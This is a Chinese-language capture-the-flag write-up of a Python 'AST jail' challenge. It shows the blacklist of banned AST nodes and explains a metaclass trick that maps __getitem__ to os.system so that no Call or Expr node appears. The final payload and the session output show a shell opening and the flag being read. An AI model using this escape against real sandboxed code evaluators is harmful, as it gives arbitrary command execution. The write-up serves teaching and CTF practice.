nc node5.anna.nssctf.cn 28790                                                                                                    ─╯
TERM environment variable not set.


    _       _ _   _                _                         _                _ ______ 
   (_)     (_) | | |              (_)                       | |              | |____  |
    _  __ _ _| | | |__   ___  __ _ _ _ __  _ __   ___ _ __  | | _____   _____| |   / / 
   | |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ |  / /  
   | | (_| | | | | |_) |  __/ (_| | | | | | | | |  __/ |    | |  __/\ V /  __/ | / /   
   | |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|    |_|\___| \_/ \___|_|/_/    
  _/ |                        __/ |                                                    
 |__/                        |___/                                                     


=================================================================================================
==           Welcome to the calc jail beginner level7,It's AST challenge                       ==
==           Menu list:                                                                        ==
==             [G]et the blacklist AST                                                         ==
==             [E]xecute the python code                                                       ==
==             [Q]uit jail challenge                                                           ==
=================================================================================================

 按G发现转为AST后不能含有以下内容:

G
=================================================================================================
==        Black List AST:                                                                      ==
==                       'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef  ==
==                        Sub,Mult,Div,Del'                                                    ==
=================================================================================================

虽然没有了import和call,但有一个魔术方法metaclass。

参考文章: Python进阶——详解元类,metaclass的原理和用法

其中有个知识点:可以通过metaclass给类添加属性。

 

猜测一下,既然能添加类的属性,那是否可以修改呢?也就是说如果我们将一个类的某一个属性修改为os.system这样的函数,那么这样一来在我们调用的时候就可以执行了。现在的问题是需要一个可以传入字符串的属性,发现正好__getitem__符合条件。

__getitem__是用来取列表或者字典的值的一个属性,如果我们将一个类的__getitem__改为os.system的话是不是就可以执行shell了哈哈

举个例子:

import os

class WOOD():
    pass
WOOD.__getitem__=os.system
WOOD()['ls']

运行后发现执行了ls但这样依然无法解决这个题,如果我们将上述代码转为AST查看,会发现有CallExpr

import ast

src='''
import os

class WOOD():
    pass
WOOD.__getitem__=os.system
WOOD()['ls']
'''
ast_node = ast.parse(src, "test", mode="exec")
print(ast.dump(ast_node))

"""
Module(body=[Import(names=[alias(name='os', asname=None)]), ClassDef(name='WOOD', bases=[], keywords=[], body=[Pass()], decorator_list=[]), Assign(targets=[Attribute(value=Name(id='WOOD', ctx=Load()), attr='__getitem__', ctx=Store())], value=Attribute(value=Name(id='os', ctx=Load()), attr='system', ctx=Load()), type_comment=None), Expr(value=Subscript(value=Call(func=Name(id='WOOD', ctx=Load()), args=[], keywords=[]), slice=Index(value=Constant(value='ls', kind=None)), ctx=Load()))], type_ignores=[])
"""

对于如何避开Expr,我们给执行的内容赋值就行。

tmp = WOOD()['ls']

如何绕过Call可以用metaclass,我们指定一个类的__getitem__==os.system,使用mateclass可以让类拥有属性,但不是类生成的对象具有这个属性,这样我们就不用调用实例化类的Call,从而进行绕过Call。

因此最终payload为:

class WOOD(type):
    __getitem__=os.system
class WHALE(metaclass=WOOD):
    pass
tmp = WHALE['sh']

    _       _ _   _                _                         _                _ ______ 
   (_)     (_) | | |              (_)                       | |              | |____  |
    _  __ _ _| | | |__   ___  __ _ _ _ __  _ __   ___ _ __  | | _____   _____| |   / / 
   | |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ |  / /  
   | | (_| | | | | |_) |  __/ (_| | | | | | | | |  __/ |    | |  __/\ V /  __/ | / /   
   | |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|    |_|\___| \_/ \___|_|/_/    
  _/ |                        __/ |                                                    
 |__/                        |___/                                                     


=================================================================================================
==           Welcome to the calc jail beginner level7,It's AST challenge                       ==
==           Menu list:                                                                        ==
==             [G]et the blacklist AST                                                         ==
==             [E]xecute the python code                                                       ==
==             [Q]uit jail challenge                                                           ==
=================================================================================================
e
Pls input your code: (last line must contain only --HNCTF)
class WOOD(type):
    __getitem__=os.system
class WHALE(metaclass=WOOD):
    pass
tmp = WHALE['sh']
--HNCTF
check is passed!now the result is:
sh: 0: can't access tty; job control turned off
$ ls
flag  server.py
$ cat flag
flag=NSSCTF{58ce785d-6226-4635-9ea8-b0453867e3d7}
$ 

 

热门相关:宴先生缠得要命   仙府之缘   我在末世有套房   茅山捉鬼人   神武觉醒